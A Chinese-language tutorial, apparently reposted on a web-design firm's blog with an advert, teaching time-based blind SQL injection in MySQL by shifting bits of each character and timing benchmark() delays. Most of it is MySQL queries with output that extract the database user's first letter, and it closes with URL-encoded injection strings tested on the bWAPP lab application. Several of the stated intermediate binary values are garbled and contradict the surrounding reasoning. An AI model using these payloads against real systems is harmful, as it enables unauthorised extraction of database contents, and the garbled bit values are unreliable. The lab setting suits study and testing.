本篇內(nèi)容主要講解“如何使用位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“如何使用MySQL位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”吧!
本篇內(nèi)容主要講解“如何使用位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“如何使用MySQL位函數(shù)和運(yùn)算符進(jìn)行基于時(shí)間的高效SQL盲注”吧!
成都創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于網(wǎng)站建設(shè)、成都網(wǎng)站建設(shè)、商都網(wǎng)絡(luò)推廣、小程序開發(fā)、商都網(wǎng)絡(luò)營銷、商都企業(yè)策劃、商都品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營等,從售前售中售后,我們都將竭誠為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);成都創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供商都建站搭建服務(wù),24小時(shí)服務(wù)熱線:18980820575,官方網(wǎng)址:www.cdcxhl.com
右移位運(yùn)算符會將二進(jìn)制值1位的位數(shù)向右移位,如下所示:mysql> select ascii(b'01110010');+--------------------+| ascii(b'01110010') |+--------------------+| 114 |+--------------------+1 row in set (0.00 sec)mysql> select ascii(b'01110010') >> 1;+-------------------------+| ascii(b'01110010') >> 1 |+-------------------------+| 57 |+-------------------------+1 row in set (0.00 sec)
這可用于在SQL盲注時(shí)枚舉字符串的字符。如果數(shù)據(jù)出現(xiàn)在完整的ASCII表中,則每個(gè)字符最多可以枚舉8個(gè)請求。
這里我們希望提取的數(shù)據(jù)是select user()查詢返回的第一個(gè)字符。第1位:
我們首先找到第一位的值:?
???????
有兩種可能性:0 (Decimal value: 0
) // TRUE condition
或1 (Decimal value: 1
) // FALSE conditionmysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| 0 |+--------------------------------------------------------------------------------------+1 row in set (2.35 sec)
SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE,第一位為00
???????第2位:
現(xiàn)在我們來查找第二位的值,和上面一樣有兩種可能性:00 (Decimal value: 0
) // TRUE condition
或01 (Decimal value: 1
) // FALSE conditionmysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查詢沒有發(fā)生時(shí)間延遲,因此條件為FALSE第二位為101
?????第3位:
現(xiàn)在我們查找第三位的值,同樣兩種可能性:010 (Decimal value: 2
) // TRUE
或011 (Decimal value: 3
) // FALSEmysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查詢沒有時(shí)間延遲,因此條件為FALSE第三位為1011
?????第4位:
現(xiàn)在我們查找第四位的值,兩種可能性:0110 (Decimal: 6
) // TRUE
或0111 (Decimal: 7
) // FALSEmysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查詢沒有時(shí)間延遲,因此條件為FALSE第四位為10111
????第5位:
現(xiàn)在我們查找第五位的值,兩種可能性:01110 (Decimal: 14
) /// TRUE
或01111 (Decimal: 15
) // FALSEmysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0 |+---------------------------------------------------------------------------------------+1 row in set (2.46 sec)
SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE第五位為001110
???第6位:
現(xiàn)在我們查找第六位的值,兩種可能性:011100 (Decimal: 28
) // TRUE
或011101 (Decimal: 29
) // FALSEmysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0 |+---------------------------------------------------------------------------------------+1 row in set (2.44 sec)
SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE第六位為0011100
??第7位:
現(xiàn)在我們查找第七位的值,兩種可能性:0111000
(Decimal: 56) // TRUE
或0111001
(Decimal: 57) // FALSEmysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| false |+---------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查詢沒有時(shí)間延遲,因此條件為FALSE第七位為1
第四位必須為10111001
?第8位:
現(xiàn)在我們查找第八位的值,兩種可能性:01110010 (Decimal: 114
) // TRUE
或01110011 (Decimal: 115
) // FALSEmysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');+----------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |+----------------------------------------------------------------------------------------+| 0 |+----------------------------------------------------------------------------------------+1 row in set (2.33 sec)
SQL查詢導(dǎo)致時(shí)間延遲,因此條件為TRUE第八位為00111001
0到這里我們就完整獲取到了select user() 查詢返回的第一個(gè)字符的二進(jìn)制值,轉(zhuǎn)換成十進(jìn)制后為114。而114在ASCII表中表示的是r
字符,因此該數(shù)據(jù)庫用戶名的首字母為r。mysql> select user();+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)
為了說明這種類型的SQL盲注攻擊,我已向大家演示了如何在bWAPP易受攻擊的應(yīng)用程序上,枚舉“select user()”返回的第一個(gè)字符的第一個(gè)和最后一個(gè)二進(jìn)制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/
1. 第一位SQLi字符串返回TRUE條件:test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2. 第一位SQLi字符串返回FALSE條件:test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3. 第八位SQLi字符串返回FALSE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23